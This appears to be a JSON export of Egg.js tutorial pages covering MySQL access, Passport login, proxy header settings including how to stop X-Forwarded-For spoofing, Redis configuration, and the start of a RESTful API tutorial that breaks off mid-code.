    "content": "---\ntitle: MySQL\n---\n\nMySQL is one of the most common and best RDBMS in terms of web applications. It is used in many large-scale websites such as Google and Facebook.\n\n## `egg-mysql`\n\n`egg-mysql` is provided to access both the MySQL databases and MySQL-based online database service.\n\n### Installation and Configuration\n\nInstall [egg-mysql]\n\n```bash\n$ npm i --save egg-mysql\n```\n\nEnable Plugin:\n\n```js\n// config/plugin.js\nexports.mysql = {\n  enable: true,\n  package: 'egg-mysql',\n};\n```\n\nConfigure database information in `config/config.${env}.js`\n\n#### Single Data Source\n\nConfiguration to accesss single MySQL instance as shown below:\n\n```js\n// config/config.${env}.js\nexports.mysql = {\n  // database configuration\n  client: {\n    host: 'mysql.com',\n    port: '3306',\n    user: 'test_user',\n    password: 'test_password',\n    database: 'test',\n  },\n  // load into app, default true\n  app: true,\n  // load into agent, default false\n  agent: false,\n};\n```\n\nUse:\n\n```js\nawait app.mysql.query(sql, values); // single instance can be accessed through app.mysql\n```\n\n#### Multiple Data Sources\n\nConfiguration to accesss multiple MySQL instances as below:\n\n```js\nexports.mysql = {\n  clients: {\n    // clientId, obtain the client instances using the app.mysql.get('clientId')\n    db1: {\n      host: 'mysql.com',\n      port: '3306',\n      user: 'test_user',\n      password: 'test_password',\n      database: 'test',\n    },\n    db2: {\n      host: 'mysql2.com',\n      port: '3307',\n      user: 'test_user',\n      password: 'test_password',\n      database: 'test',\n    },\n    // ...\n  },\n  //default configuration of all databases\n  default: {},\n\n  // load into app, default true\n  app: true,\n  // load into agent, default false\n  agent: false,\n};\n```\n\nUse:\n\n```js\nconst client1 = app.mysql.get('db1');\nawait client1.query(sql, values);\n\nconst client2 = app.mysql.get('db2');\nawait client2.query(sql, values);\n```\n\n#### Dynamic Creation\n\nPre-declaration of configuration might not needed in the configuration file. Obtaining the actual parameters dynamically from the configuration center then initialize an instance instead.\n\n```js\n// {app_root}/app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    // obtain the MySQL configuration from the configuration center\n    // { host: 'mysql.com', port: '3306', user: 'test_user', password: 'test_password', database: 'test' }\n    const mysqlConfig = await app.configCenter.fetch('mysql');\n    app.database = app.mysql.createInstance(mysqlConfig);\n  });\n};\n```\n\n## Service Layer\n\nConnecting to MySQL is a data processing layer in the Web layer. So it is strongly recommended that keeping the code in the Service layer.\n\nAn example of connecting to MySQL as follows.\n\nDetails of Service layer, refer to [service](../basics/service.md)\n\n```js\n// app/service/user.js\nclass UserService extends Service {\n  async find(uid) {\n    // assume we have the user id then trying to get the user details from database\n    const user = await this.app.mysql.get('users', { id: 11 });\n    return { user };\n  }\n}\n```\n\nAfter that, obtaining the data from service layer using the controller\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async info() {\n    const ctx = this.ctx;\n    const userId = ctx.params.id;\n    const user = await ctx.service.user.find(userId);\n    ctx.body = user;\n  }\n}\n```\n\n## Writing CRUD\n\nFollowing statments default under `app/service` if not specifed\n\n### Create\n\nINSERT method to perform the INSERT INTO query\n\n```js\n// INSERT\nconst result = await this.app.mysql.insert('posts', { title: 'Hello World' }); //insert a record title 'Hello World' to 'posts' table\n\n=> INSERT INTO `posts`(`title`) VALUES('Hello World');\n\nconsole.log(result);\n=>\n{\n  fieldCount: 0,\n  affectedRows: 1,\n  insertId: 3710,\n  serverStatus: 2,\n  warningCount: 2,\n  message: '',\n  protocol41: true,\n  changedRows: 0\n}\n\n// check if insertion is success or failure\nconst insertSuccess = result.affectedRows === 1;\n```\n\n### Read\n\nUse `get` or `select` to select one or multiple records. `select` method support query criteria and result customization.\nUse `count` method to count all rows of the query result\n\n- get one record\n\n```js\nconst post = await this.app.mysql.get('posts', { id: 12 });\n\n=> SELECT * FROM `posts` WHERE `id` = 12 LIMIT 0, 1;\n```\n\n- query all from the table\n\n```js\nconst results = await this.app.mysql.select('posts');\n\n=> SELECT * FROM `posts`;\n```\n\n- query criteria and result customization\n\n```js\nconst results = await this.app.mysql.select('posts', { // search posts table\n  where: { status: 'draft', author: ['author1', 'author2'] }, // WHERE criteria\n  columns: ['author', 'title'], // get the value of certain columns\n  orders: [['created_at','desc'], ['id','desc']], // sort order\n  limit: 10, // limit the return rows\n  offset: 0, // data offset\n});\n\n=> SELECT `author`, `title` FROM `posts`\n  WHERE `status` = 'draft' AND `author` IN('author1','author2')\n  ORDER BY `created_at` DESC, `id` DESC LIMIT 0, 10;\n```\n\n- count the number of rows in the query result\n\n```js\nconst total = await this.app.mysql.count('posts', { status: 'published' }); // count the number of result rows in the posts table whose status is published\n\n=> SELECT COUNT(*) FROM `posts` WHERE `status` = 'published'\n```\n\n### Update\n\nUPDATE operation to update the records of databases\n\n```js\n// modify data and search by primary key ID, and refresh\nconst row = {\n  id: 123,\n  name: 'fengmk2',\n  otherField: 'other field value',    // any other fields u want to update\n  modifiedAt: this.app.mysql.literals.now, // `now()` on db server\n};\nconst result = await this.app.mysql.update('posts', row); // update records in 'posts'\n\n=> UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE id = 123 ;\n\n// check if update is success or failure\nconst updateSuccess = result.affectedRows === 1;\n\n// if primary key is your custom id,such as custom_id,you should config it in `where`\nconst row = {\n  name: 'fengmk2',\n  otherField: 'other field value',    // any other fields u want to update\n  modifiedAt: this.app.mysql.literals.now, // `now()` on db server\n};\n\nconst options = {\n  where: {\n    custom_id: 456\n  }\n};\nconst result = await this.app.mysql.update('posts', row, options); // update records in 'posts'\n\n=> UPDATE `posts` SET `name` = 'fengmk2', `modifiedAt` = NOW() WHERE custom_id = 456 ;\n\n// check if update is success or failure\nconst updateSuccess = result.affectedRows === 1;\n```\n\n### Delete\n\nDELETE operation to delete the records of databases\n\n```js\nconst result = await this.app.mysql.delete('posts', {\n  author: 'fengmk2',\n});\n\n=> DELETE FROM `posts` WHERE `author` = 'fengmk2';\n```\n\n## Implementation of SQL statement\n\nPlugin supports splicing and execute SQL statment directly. It can use `query` to execute a valid SQL statement\n\n**Note!! Strongly do not recommend developers splicing SQL statement, it is easier to cause SQL injection!!**\n\nUse the `mysql.escape` method if you have to splice SQL statement\n\nRefer to [preventing-sql-injection-in-node-js](http://stackoverflow.com/questions/15778572/preventing-sql-injection-in-node-js)\n\n```js\nconst postId = 1;\nconst results = await this.app.mysql.query('update posts set hits = (hits + ?) where id = ?', [1, postId]);\n\n=> update posts set hits = (hits + 1) where id = 1;\n```\n\n## Transaction\n\nTransaction is mainly used to deal with large data of high complexity. For example, in a personnel management system, deleting a person which need to delete the basic information of the staff, but also need to delete the related information of staff, such as mailboxes, articles and so on. It is easier to use transaction to run a set of operations.\nA transaction is a set of continuous database operations which performed as a single unit of work. Each individual operation within the group is successful and the transaction succeeds. If one part of the transaction fails, then the entire transaction fails.\nIn gerenal, transaction must be atomic, consistent, isolated and durable.\n\n- Atomicity requires that each transaction be \"all or nothing\": if one part of the transaction fails, then the entire transaction fails, and the database state is left unchanged.\n- The consistency property ensures that any transaction will bring the database from one valid state to another.\n- The isolation property ensures that the concurrent execution of transactions results in a system state that would be obtained if transactions were executed sequentially\n- The durability property ensures that once a transaction has been committed, it will remain so.\n\nTherefore, for a transaction, must be accompanied by beginTransaction, commit or rollback, respectively, beginning of the transaction, success and failure to roll back.\n\negg-mysql proviodes two types of transactions\n\n### Manual Control\n\n- adventage: `beginTransaction`, `commit` or `rollback` can be completely under control by developer\n- disadventage: more handwritten code, Forgot catching error or cleanup will lead to serious bug.\n\n```js\nconst conn = await app.mysql.beginTransaction(); // initialize the transaction\n\ntry {\n  await conn.insert(table, row1); // first step\n  await conn.update(table, row2); // second step\n  await conn.commit(); // commit the transaction\n} catch (err) {\n  // error, rollback\n  await conn.rollback(); // rollback after catching the exception!!\n  throw err;\n}\n```\n\n### Automatic Control: Transaction with Scope\n\n- API：`beginTransactionScope(scope, ctx)`\n  - `scope`: A generatorFunction which will execute all sqls of this transaction.\n  - `ctx`: The context object of current request, it will ensures that even in the case of a nested transaction, there is only one active transaction in a request at the same time.\n- adventage: easy to use, as if there is no transaction in your code.\n- disadvantage: all transation will be successful or failed, cannot control precisely\n\n```js\nconst result = await app.mysql.beginTransactionScope(async (conn) => {\n  // don't commit or rollback by yourself\n  await conn.insert(table, row1);\n  await conn.update(table, row2);\n  return { success: true };\n}, ctx); // ctx is the context of current request, accessed by `this.ctx`  within in service file.\n// if error throw on scope, will auto rollback\n```\n\n## Literal\n\nUse `Literal` if need to call literals or functions in MySQL\n\n### Inner Literal\n\n- `NOW()`：The database system time, obtained by `app.mysql.literals.now`\n\n```js\nawait this.app.mysql.insert(table, {\n  create_time: this.app.mysql.literals.now,\n});\n\n=> INSERT INTO `$table`(`create_time`) VALUES(NOW())\n```\n\n### Custom literal\n\nThe following demo showe how to call `CONCAT(s1, ...sn)` funtion in mysql to do string splicing.\n\n```js\nconst Literal = this.app.mysql.literals.Literal;\nconst first = 'James';\nconst last = 'Bond';\nawait this.app.mysql.insert(table, {\n  id: 123,\n  fullname: new Literal(`CONCAT(\"${first}\", \"${last}\"`),\n});\n\n=> INSERT INTO `$table`(`id`, `fullname`) VALUES(123, CONCAT(\"James\", \"Bond\"))\n```\n\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n"
  },
  {
    "path": "site/docs/tutorials/passport.md",
    "content": "---\ntitle: Passport\n---\n\n**`Login authentication`** is a common business scenario, including \"account password login\" and \"third-party unified login\".\n\nAmong them, we often use the latter, such as Google, GitHub, QQ unified login, which are based on [OAuth](https://oauth.net/2/) specification.\n\n[Passport](http://www.passportjs.org/) is a highly scalable authentication middleware that supports the `Strategy` of `Github` ,`Twitter`,`Facebook`, and other well-known service vendors. It also supports login authorization verification via account passwords.\n\nEgg provides an [egg-passport](https://github.com/eggjs/egg-passport) plugin which encapsulates general logic such as callback processing after initialization and the success of authentication so that the developers can use Passport with just a few API calls.\n\nThe execution sequence of [Passport](http://www.passportjs.org/) is as follows:\n\n- User accesses page\n- Check Session\n- Intercept and jump to authentication login page\n- Strategy Authentication\n- Check and store user information\n- Serialize user information to Session\n- Jump to the specified page\n\n## Using `egg-passport`\n\nBelow, we will use GitHub login as an example to demonstrate how to use it.\n\n### Installation\n\n```bash\n$ npm i --save egg-passport\n$ npm i --save egg-passport-github\n```\n\nFor more plugins, see [GitHub Topic - egg-passport](https://github.com/topics/egg-passport) .\n\n### Configuration\n\n**Enabling the plugin:**\n\n```js\n// config/plugin.js\nmodule.exports.passport = {\n  enable: true,\n  package: 'egg-passport',\n};\n\nmodule.exports.passportGithub = {\n  enable: true,\n  package: 'egg-passport-github',\n};\n```\n\n**Configuration:**\n\nNote: The [egg-passport](https://github.com/eggjs/egg-passport) standardizes the configuration fields, which are unified as `key` and `secret`.\n\n```js\n// config/default.js\nconfig.passportGithub = {\n  key: 'your_clientID',\n  secret: 'your_clientSecret',\n};\n```\n\n**Note:**\n\n- Create a [GitHub OAuth Apps](https://github.com/settings/applications/new) to get the `clientID` and `clientSecret` information.\n- Specify a `callbackURL`, such as `http://127.0.0.1:7001/passport/github/callback`\n    - You need to update to the corresponding domain name when deploying online\n    - The path is configured via `options.callbackURL`, which defaults to `/passport/${strategy}/callback`\n\n### Mounting Routes\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app; // Mount the authentication route\n\n  app.passport.mount('github'); // The mount above is syntactic sugar, which is equivalent to // const github = app.passport.authenticate('github', {}); // router.get('/passport/github', github); // router.get('/passport/github/callback', github);\n};\n```\n\n### User Information Processing\n\nThen we also need:\n\n- When signing in for the first time, you generally need to put user information into the repository and record the Session.\n- In the second login, the user information obtained from OAuth or Session, and the database is read to get the complete user information.\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.passport.verify(async (ctx, user) => {\n    // Check user\n    assert(user.provider, 'user.provider should exists');\n    assert(user.id, 'user.id should exists'); // Find user information from the database // // Authorization Table // column   | desc // ---      | -- // provider | provider name, like github, twitter, facebook, weibo and so on // uid      | provider unique id // user_id  | current application user id\n\n    const auth = await ctx.model.Authorization.findOne({\n      uid: user.id,\n      provider: user.provider,\n    });\n    const existsUser = await ctx.model.User.findOne({ id: auth.user_id });\n    if (existsUser) {\n      return existsUser;\n    } // Call service to register a new user\n    const newUser = await ctx.service.user.register(user);\n    return newUser;\n  }); // Serialize and store the user information into session. Generally, only a few fields need to be streamlined/saved.\n\n  app.passport.serializeUser(async (ctx, user) => {\n    // process user\n    // ...\n    // return user;\n  }); // Deserialize the user information from the session, check the database to get the complete information\n\n  app.passport.deserializeUser(async (ctx, user) => {\n    // process user\n    // ...\n    // return user;\n  });\n};\n```\n\nAt this point, we have completed all the configurations. For a complete example, see: [eggjs/examples/passport](https://github.com/eggjs/examples/tree/master/passport)\n\n### API\n\n[egg-passport](https://github.com/eggjs/egg-passport) provides the following extensions:\n\n- `ctx.user` - Get current logged in user information\n- `ctx.isAuthenticated()` - Check if the request is authorized\n- `ctx.login(user, [options])` - Start a login session for the user\n- `ctx.logout()` - Exit and clear user information from session\n- `ctx.session.returnTo=` - Set redirect address after authentication page success\n\nThe API also be provided for:\n\n- `app.passport.verify(async (ctx, user) => {})` - Check user\n- `app.passport.serializeUser(async (ctx, user) => {})` - Serialize user information into session\n- `app.passport.deserializeUser(async (ctx, user) => {})` - Deserialize user information from the session\n- `app.passport.authenticate(strategy, options)` - Generate the specified authentication middleware\n    - `options.successRedirect` - specifies the redirect address after successful authentication\n    - `options.loginURL` - jump login address, defaults to `/passport/${strategy}`\n    - `options.callbackURL` - callback address after authorization, defaults to `/passport/${strategy}/callback`\n- `app.passport.mount(strategy, options)` - Syntactic sugar for developers to configure routing\n\n**Note:**\n\n- `app.passport.authenticate`, if `options.successRedirect` or `options.successReturnToOrRedirect` is null, it will redirect to `/` by default\n\n## Using Passport Ecosystem\n\n[Passport](http://www.passportjs.org/) has many middleware and it is impossible to have the second encapsulation.\nNext, let's look at how to use Passport middleware directly in the framework.\nWe will use [passport-local](https://github.com/jaredhanson/passport-local) for \"account password login\" as an example:\n\n### Installation\n\n```bash\n$ npm i --save passport-local\n```\n\n### Configuration\n\n```js\n// app.js\nconst LocalStrategy = require('passport-local').Strategy;\n\nmodule.exports = (app) => {\n  // Mount strategy\n  app.passport.use(\n    new LocalStrategy(\n      {\n        passReqToCallback: true,\n      },\n      (req, username, password, done) => {\n        // format user\n        const user = {\n          provider: 'local',\n          username,\n          password,\n        };\n        debug('%s %s get user: %j', req.method, req.url, user);\n        app.passport.doVerify(req, user, done);\n      },\n    ),\n  ); // Process user information\n\n  app.passport.verify(async (ctx, user) => {});\n  app.passport.serializeUser(async (ctx, user) => {});\n  app.passport.deserializeUser(async (ctx, user) => {});\n};\n```\n\n### Mounting Routes\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index); // Callback page after successful authentication\n\n  router.get('/authCallback', controller.home.authCallback); // Render login page, user inputs account password\n\n  router.get('/login', controller.home.login); // Login verification\n  router.post(\n    '/login',\n    app.passport.authenticate('local', { successRedirect: '/authCallback' }),\n  );\n};\n```\n\n## How to develop an egg-passport plugin\n\nIn the previous section, we learned how to use a Passport middleware in the framework. We can further encapsulate it as a plugin and give back to the community.\n\n**initialization:**\n\n```bash\n$ npm init egg --type=plugin egg-passport-local\n```\n\n**Configure dependencies in `package.json`:**\n\n```json\n{\n  \"name\": \"egg-passport-local\",\n  \"version\": \"1.0.0\",\n  \"eggPlugin\": {\n    \"name\": \"passportLocal\",\n    \"dependencies\": [\"passport\"]\n  },\n  \"dependencies\": {\n    \"passport-local\": \"^1.0.0\"\n  }\n}\n```\n\n**Configuration:**\n\n```js\n// {plugin_root}/config/config.default.js\n// https://github.com/jaredhanson/passport-local\nexports.passportLocal = {};\n```\n\nNote: [egg-passport](https://github.com/eggjs/egg-passport) standardizes the configuration fields, which are unified as `key` and `secret`, so if the corresponding Passport middleware attribute names are inconsistent, the developer should do the conversion.\n\n**Register the passport middleware:**\n\n```js\n// {plugin_root}/app.js\nconst LocalStrategy = require('passport-local').Strategy;\n\nmodule.exports = (app) => {\n  const config = app.config.passportLocal;\n  config.passReqToCallback = true;\n\n  app.passport.use(\n    new LocalStrategy(config, (req, username, password, done) => {\n      // Cleans up the data returned by the Passport plugin and returns the User object\n      const user = {\n        provider: 'local',\n        username,\n        password,\n      }; // This does not process application-level logic and passes it to app.passport.verify for unified processing.\n      app.passport.doVerify(req, user, done);\n    }),\n  );\n};\n```\n\n[passport]: http://www.passportjs.org/\n[egg-passport]: https://github.com/eggjs/egg-passport\n[passport-local]: https://github.com/jaredhanson/passport-local\n[eggjs/examples/passport]: https://github.com/eggjs/examples/tree/master/passport\n"
  },
  {
    "path": "site/docs/tutorials/proxy.md",
    "content": "---\ntitle: Behind a Proxy\n---\n\nGenerally, our services will not directly accept external requests, but will deploy the services behind the access layer, thus achieving load balancing of multiple machines and smooth distribution of services to ensure high availability.\n\nIn this scenario, we can't directly get the connection to the real user request, so we can't confirm the user's real IP, request protocol, or even the requested host. To solve this problem, the framework provides a set of configuration items by default for developers to configure to enable the application layer to obtain real user request information based on the agreement(de facto) with the access layer.\n\n## Enable Proxy Mode\n\nThe proxy mode can be enabled by `config.proxy = true`:\n\n```js\n// config/config.default.js\n\nexports.proxy = true;\n```\n\nNote that after this mode is enabled, the application defaults to being behind the reverse proxy. It will support the request header of the resolved protocol to obtain the real IP, protocol and host of the client. If your service is not deployed behind a reverse proxy, do not enable this configuration in case a malicious user falsifies information such as requesting IP.\n\n### `config.ipHeaders`\n\nWhen the proxy configuration is enabled, the app parses the [X-Forwarded-For](https://en.wikipedia.org/wiki/X-Forwarded-For) request header to get the real IP of the client. If your reverse proxy passes this information through other request headers, it can be configured via `config.ipHeaders`, which supports multiple headers (comma separated).\n\n```js\n// config/config.default.js\n\nexports.ipHeaders = 'X-Real-Ip, X-Forwarded-For';\n```\n\n### `config.maxIpsCount`\n\nThe general format of the `X-Forwarded-For` field is:\n\n```\nX-Forwarded-For: client, proxy1, proxy2\n```\n\nWe can use the first IP address as the real IP adderess of the request, but if a malicious user passes the `X-Forwarded-For` header in the request to spoof it after some reverse proxy, it will cause `X-Forwarded-For` to take The value obtained is inaccurate and can be used to spoof the request IP address, breaking some IP restrictions of the application layer.\n\n```\nX-Forwarded-For: fake, client, proxy1, proxy2\n```\n\nIn order to avoid this problem, we can configure the number of reverse proxies through `config.maxIpsCount`, so the fake IP address passed by the user will be ignored. For example, if we deploy the application behind a unified access layer (such as Alibaba Cloud SLB, Amazon ELB), we can configure this configuration to `1` so that users cannot forge IP addresses through the `X-Forwarded-For` request header.\n\n```js\n// config/config.default.js\n\nexports.maxIpsCount = 1;\n```\n\nThis configuration item has the same effect as `options.maxIpsCount` provided by [koa](https://github.com/koajs/koa/blob/master/docs/api/request.md#requestips).\n\n### `config.protocolHeaders`\n\nWhen the proxy configuration is enabled, the application will parse the [X-Forwarded-Proto] (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto) request header to get the client's Real access protocol. If your reverse proxy passes this information through other request headers, it can be configured via `config.protocolHeaders`, which supports multiple headers (comma separated).\n\n```js\n// config/config.default.js\n\nexports.protocolHeaders = 'X-Real-Proto, X-Forwarded-Proto';\n```\n\n### `config.hostHeaders`\n\nWhen the proxy configuration is enabled, the application still reads `host` directly to get the requested domain name. Most of the reverse proxy does not modify this value. But maybe some reverse proxy will pass the client's real access via [X-Forwarded-Host] (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host) The domain name can be configured via `config.hostHeaders`, which supports multiple headers (comma separated).\n\n```js\n// config/config.default.js\n\nexports.hostHeaders = 'X-Forwarded-Host';\n```\n"
  },
  {
    "path": "site/docs/tutorials/redis.md",
    "content": "---\ntitle: Redis\n---\n\n[Redis](https://redis.io/) is a high-performance in-memory data store widely used for caching, session management, message queues, and more.\n\n## @eggjs/redis\n\nThe framework provides the [@eggjs/redis](https://github.com/eggjs/egg/tree/next/plugins/redis) plugin to access Redis. This plugin is based on [ioredis](https://github.com/redis/ioredis) and supports single client, multi-client, and cluster modes.\n\n### Installation and Configuration\n\nInstall the plugin:\n\n```bash\nnpm i @eggjs/redis\n```\n\nEnable the plugin:\n\n```ts\n// config/plugin.ts\nexport default {\n  redis: {\n    enable: true,\n    package: '@eggjs/redis',\n  },\n};\n```\n\n#### Single Client\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n      },\n    },\n  };\n}\n```\n\n#### Multi Client\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      clients: {\n        cache: {\n          host: '127.0.0.1',\n          port: 6379,\n          password: '',\n          db: 0,\n        },\n        session: {\n          host: '127.0.0.1',\n          port: 6379,\n          password: '',\n          db: 1,\n        },\n      },\n    },\n  };\n}\n```\n\n#### Cluster Mode\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        cluster: true,\n        nodes: [\n          { host: '127.0.0.1', port: 6380 },\n          { host: '127.0.0.1', port: 6381 },\n        ],\n      },\n    },\n  };\n}\n```\n\n### Usage\n\n#### Single Client\n\n```ts\n// app/controller/home.ts\nimport { Context } from 'egg';\n\nexport default class HomeController {\n  async index(ctx: Context) {\n    // set a value\n    await ctx.app.redis.set('foo', 'bar');\n\n    // get a value\n    const value = await ctx.app.redis.get('foo');\n\n    // set with expiration (seconds)\n    await ctx.app.redis.setex('temp', 60, 'expires in 60s');\n\n    // delete a key\n    await ctx.app.redis.del('foo');\n\n    ctx.body = value;\n  }\n}\n```\n\n#### Multi Client\n\nWhen using multi-client mode, access each client via `app.redis.getSingletonInstance('clientName')`:\n\n```ts\n// app/controller/home.ts\nimport { Context } from 'egg';\n\nexport default class HomeController {\n  async index(ctx: Context) {\n    const cache = ctx.app.redis.getSingletonInstance('cache');\n    const session = ctx.app.redis.getSingletonInstance('session');\n\n    await cache.set('key', 'value');\n    await session.set('sid', 'session-data');\n\n    ctx.body = await cache.get('key');\n  }\n}\n```\n\n### Common Commands\n\nThe plugin supports all [ioredis commands](https://redis.github.io/ioredis/classes/Redis.html). Here are some commonly used ones:\n\n| Command    | Description                   | Example                                      |\n| ---------- | ----------------------------- | -------------------------------------------- |\n| `set`      | Set a key-value pair          | `await redis.set('key', 'value')`            |\n| `get`      | Get a value by key            | `await redis.get('key')`                     |\n| `setex`    | Set with expiration (seconds) | `await redis.setex('key', 60, 'value')`      |\n| `del`      | Delete a key                  | `await redis.del('key')`                     |\n| `incr`     | Increment a number            | `await redis.incr('counter')`                |\n| `hset`     | Set a hash field              | `await redis.hset('hash', 'field', 'value')` |\n| `hget`     | Get a hash field              | `await redis.hget('hash', 'field')`          |\n| `lpush`    | Push to a list                | `await redis.lpush('list', 'value')`         |\n| `lpop`     | Pop from a list               | `await redis.lpop('list')`                   |\n| `sadd`     | Add to a set                  | `await redis.sadd('set', 'member')`          |\n| `smembers` | Get all set members           | `await redis.smembers('set')`                |\n| `zadd`     | Add to a sorted set           | `await redis.zadd('zset', 1, 'member')`      |\n\n### Using ioredis-mock for Unit Tests\n\nYou can use [ioredis-mock](https://github.com/stipsan/ioredis-mock) to replace the real Redis client in unit tests. This eliminates the need for a running Redis server during testing.\n\n#### Install\n\n```bash\nnpm i --save-dev ioredis-mock @types/ioredis-mock\n```\n\n#### Configure\n\n```ts\n// config/config.unittest.ts\nimport RedisMock from 'ioredis-mock';\nimport type { EggAppInfo, PartialEggConfig } from 'egg';\n\nexport default function (_appInfo: EggAppInfo): PartialEggConfig {\n  return {\n    redis: {\n      Redis: RedisMock,\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n        weakDependent: true,\n      },\n    },\n  };\n}\n```\n\n> **Important**: You must set `weakDependent: true` when using `ioredis-mock`. Mock clients emit the `ready` event synchronously during construction, before the plugin's listener is attached. Without `weakDependent: true`, the app will hang on startup.\n\n#### Benefits\n\n- **Faster CI**: No need to spin up Redis Docker containers\n- **Simpler local dev**: No Redis server required for running tests\n- **Isolated**: Each test worker gets its own in-memory Redis instance\n- **Compatible**: Supports most common Redis commands\n\n> **Note**: For production deployment testing, you should still use a real Redis server.\n\n### Advanced Configuration\n\n#### Weak Dependent\n\nIf your application can start without Redis being ready (e.g., Redis is used as a cache and is not critical):\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n        weakDependent: true, // app start won't wait for Redis to be ready\n      },\n    },\n  };\n}\n```\n\n#### Using Valkey\n\n[Valkey](https://valkey.io/) is a Redis-compatible fork. You can use it with the `Redis` config option:\n\n```ts\nimport Valkey from 'iovalkey';\n\nexport default function () {\n  return {\n    redis: {\n      Redis: Valkey,\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n      },\n    },\n  };\n}\n```\n"
  },
  {
    "path": "site/docs/tutorials/restful.md",
    "content": "---\ntitle: Build RESTful API\n---\n\nWeb frameworks are widely used for providing interfaces to the client through Web services. Let's use an example [CNode Club](https://cnodejs.org/) to show how to build [RESTful](https://en.wikipedia.org/wiki/REST) API using Egg.\n\nCNode currently use v1 interface is not fully consistent with the RESTful semantic. In the article, we will encapsulate a more RESTful semantic V2 API based on CNode V1 interface.\n\n## Response Formatting\n\nDesigning a RESTful-style API, we will identify the status of response by the response status code, keeping the response body simply and only the interface data is returned.\nA example of `topics` is shown below:\n\n### Get topics list\n\n- `GET /api/v2/topics`\n- status code: 200\n- response body:\n\n```json\n[\n  {\n    \"id\": \"57ea257b3670ca3f44c5beb6\",\n    \"author_id\": \"541bf9b9ad60405c1f151a03\",\n    \"tab\": \"share\",\n    \"content\": \"content\",\n    \"last_reply_at\": \"2017-01-11T13:32:25.089Z\",\n    \"good\": false,\n    \"top\": true,\n    \"reply_count\": 155,\n    \"visit_count\": 28176,\n    \"create_at\": \"2016-09-27T07:53:31.872Z\"\n  },\n  {\n    \"id\": \"57ea257b3670ca3f44c5beb6\",\n    \"author_id\": \"541bf9b9ad60405c1f151a03\",\n    \"tab\": \"share\",\n    \"content\": \"content\",\n    \"title\": \"Finished Rewriting of Let's Learning Node.js Together\",\n    \"last_reply_at\": \"2017-01-11T10:20:56.496Z\",\n    \"good\": false,\n    \"top\": true,\n    \"reply_count\": 193,\n    \"visit_count\": 47633\n  }\n]\n```\n\n### Retrieve One Topic\n\n- `GET /api/v2/topics/57ea257b3670ca3f44c5beb6`\n- status code: 200\n- response body:\n\n```json\n{\n  \"id\": \"57ea257b3670ca3f44c5beb6\",\n  \"author_id\": \"541bf9b9ad60405c1f151a03\",\n  \"tab\": \"share\",\n  \"content\": \"content\",\n  \"title\": \"Finished Rewriting of Let's Learning Node.js Together\",\n  \"last_reply_at\": \"2017-01-11T10:20:56.496Z\",\n  \"good\": false,\n  \"top\": true,\n  \"reply_count\": 193,\n  \"visit_count\": 47633\n}\n```\n\n### Create Topics\n\n- `POST /api/v2/topics`\n- status code: 201\n- response body:\n\n```json\n{\n  \"topic_id\": \"57ea257b3670ca3f44c5beb6\"\n}\n```\n\n### Update Topics\n\n- `PUT /api/v2/topics/57ea257b3670ca3f44c5beb6`\n- status code: 204\n- response body: null\n\n### Error Handling\n\nWhen an error is occurring, 4xx status code is returned if occurred by client-side request parameters and 5xx status code is returned if occurred by server-side logic processing. All error objects are used as the description for status exceptions.\n\nFor example, passing invalided parameters from the client may return a response with status code 422, the response body as shown below:\n\n```json\n{\n  \"error\": \"Validation Failed\",\n  \"detail\": [\n    { \"message\": \"required\", \"field\": \"title\", \"code\": \"missing_field\" }\n  ]\n}\n```\n\n## Getting Started\n\nAfter interface convention, we begin to create a RESTful API.\n\n### Application Initialization\n\nInitializes the application using `npm` in the [quickstart](../intro/quickstart.md)\n\n```bash\n$ mkdir cnode-api && cd cnode-api\n$ npm init egg --type=simple\n$ npm i\n```\n\n### Enable validate plugin\n\n[egg-validate](https://github.com/eggjs/egg-validate) is used to present the validate plugin.\n\n```js\n// config/plugin.js\nexports.validate = {\n  enable: true,\n  package: 'egg-validate',\n};\n```\n\n### Router Registry\n\nFirst of all, we follower previous design to register [router](../basics/router.md). The framework provides a simply way to create a RESTful-style router and mapping the resources to the corresponding controllers.\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.resources('topics', '/api/v2/topics', app.controller.topics);\n};\n```\n\nMapping the 'topics' resource's CRUD interfaces to the `app/controller/topics.js` using `app.resources`\n\n### Developing Controller\n\nIn [controller](../basics/controller.md), we only need to implement the interface convention of `app.resources` [RESTful style URL definition](../basics/router.md#RESTful-style-URL-definition). For example, creating a 'topics' interface:\n\n```js\n// app/controller/topics.js\nconst Controller = require('egg').Controller;\n\n// defining the rule of request parameters\nconst createRule = {\n  accesstoken: 'string',\n  title: 'string',\n  tab: { type: 'enum', values: ['ask', 'share', 'job'], required: false },\n  content: 'string',\n};\n\nclass TopicController extends Controller {\n  async create() {\n    const ctx = this.ctx;\n    // validate the `ctx.request.body` with the expected format\n    // status = 422 exception will be thrown if not passing the parameter validation\n    ctx.validate(createRule, ctx.request.body);\n    // call service to create a topic\n    const id = await ctx.service.topics.create(ctx.request.body);\n    // configure the response body and status code\n    ctx.body = {\n      topic_id: id,\n    };\n    ctx.status = 201;\n  }\n}\nmodule.exports = TopicController;\n```\n\nAs shown above, a Controller mainly implements the following logic:\n\n1. call the validate function to validate the request parameters\n2. create a topic by calling service encapsulates business logic using the validated parameters\n3. configure the status code and context according to the interface convention\n\n### Developing Service\n\nWe will more focus on writing effective business logic in [service](../basics/service.md).\n\n```js\n// app/service/topics.js\nconst Service = require('egg').Service;\n\nclass 